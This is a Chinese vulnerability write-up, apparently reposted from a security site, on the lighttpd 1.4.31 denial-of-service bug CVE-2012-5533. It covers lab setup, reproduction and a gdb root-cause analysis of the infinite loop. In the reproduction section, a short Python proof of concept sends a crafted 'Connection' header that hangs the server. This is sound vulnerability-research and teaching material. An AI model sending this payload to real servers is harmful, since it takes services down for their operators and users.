内容简介:预估稿费:300RMB
作者: virwolf
预估稿费:300RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
一.lighttpd域处理拒绝服务漏洞的环境搭建
1)安装lighttpd
因为此漏洞需要固定版本,因此我们需要手动安装。
wget http://download.lighttpd.net/lighttpd/releases-1.4.x/ lighttpd-1.4.31.tar.gz tar -zxvf lighttpd-1.4.31.tar.gz cd lighttpd-1.4.31
到这步时,接下来就是执行
./configure
命令,但是在这步可能会出现以下错误:
configure: error: pcre-config not found, install the pcre-devel package or bui with --without-pcre
我们需要执行:
yum install gcc glib2-devel openssl-devel pcre-devel bzip2-devel gzip-devel zlib-devel
来更新缺失的关联包
安装完毕后,继续执行
./configure make && make install
编译完毕后,执行步骤二。
2)拷贝lighttpd的执行文件
创建默认文件:
mkdir lighttpd-test cd lighttpd-test
拷贝:
cp /usr/local/sbin/lighttpd home/lighttpd-test/
3) 创建配置文件
vim lighttpd.conf
编写:
server.document-root="/var/www/" server.port = 8080 server.username = "www" server.groupname = "www" mimetype.assign = ( ".html" => "text/html", ".txt" => "text/plain", ".jpg" => "image/jpeg", ".png" => "image/png" ) static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" ) index-file.names = ( "index.html" )
4)自己编写欢迎页面(index.html)
vim /var/www/index.html
<html> <head><title>Hello</title></head> <body> <h1>This is a test</h1> </body> </html>
5)开启防火墙,启动lighttpd服务
开启防火墙:
iptables -I INPUT -p tcp --dport 8080 -j ACCEPT
启动服务:
./lighttpd -f lighttpd.conf
注意:启动服务这里 必须是绝对路径 ,也可自己去添加下环境变量(这里的路径是home/lighttpd-test/)。
启动完后显示server started。
接下来,可以进入浏览器测试了:
http://127.0.0.1:8080
OK,加载后就会显示我们自己编写的欢迎页面。
二.lighttpd拒绝服务漏洞原理及复现
1)原理:漏洞描述:CVE(CAN) ID: CVE-2012-5533
lighttpd是一款开源的轻量级Web服务器。
lighttpd 1.4.31在处理某些HTTP请求头时,"http_request_split_value()"函数(src/request.c)在处理特制的"Connection"报头域时会陷入无限循环。攻击者利用此漏洞可导致Lighttpd拒绝服务。
2)漏洞复现
漏洞脚本: https://www.exploit-db.com/exploits/22902/
此脚本为bash脚本,需要改下权限:
在脚本目录下执行命令:
chmod +x test.sh
然后执行:
./test.sh
好的,执行成功。
附带 python 脚本:
#encoding: utf-8 import socket if __name__ == '__main__': sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('192.**.**.**',8080)) sock.send(b'GET/HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n') sock.close() print('ok')
注释:
命令:
ps aux | grep "light*"
查看lighttpd服务的进程信息。
top
查看任务管理器
kill -9 PID
杀死某进程
三、动、静结合跟踪漏洞呈现原因
前面我们已知造成漏洞的函数是(src/request.c)里面的" http_request_split_value() "函数,因此我们先找到这个函数位置,在这里我直接将这个函数剪切出来了:
让我们来仔细看看标红的代码,开始进入函数时b肯定是有值的,所以,会进入for循环,起初state为0,所以会进入case 0,然而,咱们仔细看下,其实case 0里面的for循环是没有被执行的。因此在case 0里,直接state=1;break;跳出switch..case。继续for循环,这时state=1,所以进入case 1中,start=s,然后,这里面for函数里条件不等于‘,’时,i++,然后进入if语句,if语句中条件就是start=s,执行break,因此,又继续for循环,state=1,进入case 1中。
有人说,即使进行for循环,也是有结束的时候啊,那么我们仔细看下第一个for循环,里面i值,其实是根据漏洞利用脚本发送数据而判定的,漏洞脚本里面‘,’前面只有两个字节,所以当等于‘,’时是没有变动的,因此,造成了死循环。
那么,接下来,使用gdb调试器动态调试来验证一下,是不是如我们所说的那样。
运行漏洞利用脚本后,使用命令
gdb -p <PID>
进入gdb
调试状态:
如图,直接断在了switch 函数这里,继续跟踪
如图,可看出它一直在循环。那么让我们检测下,其中的变量值
这些变量值是没有变的,所以可以确定造成死循环的原因就是i值没有变过 从而无限陷入for循环造成拒绝服务攻击。
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4301.html
以上所述就是小编给大家介绍的《【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:- 漏洞分析:OpenSSH用户枚举漏洞(CVE-2018-15473)分析
- 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
- 漏洞分析:对CVE-2018-8587(Microsoft Outlook)漏洞的深入分析
- 路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析
- Weblogic IIOP反序列化漏洞(CVE-2020-2551) 漏洞分析
- 【漏洞分析】Joomla!3.7.0 Core SQL注入漏洞详细分析(含PoC)
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Beginning Google Maps API 3
Gabriel Svennerberg / Apress / 2010-07-27 / $39.99
This book is about the next generation of the Google Maps API. It will provide the reader with the skills and knowledge necessary to incorporate Google Maps v3 on web pages in both desktop and mobile ......一起来看看 《Beginning Google Maps API 3》 这本书的介绍吧!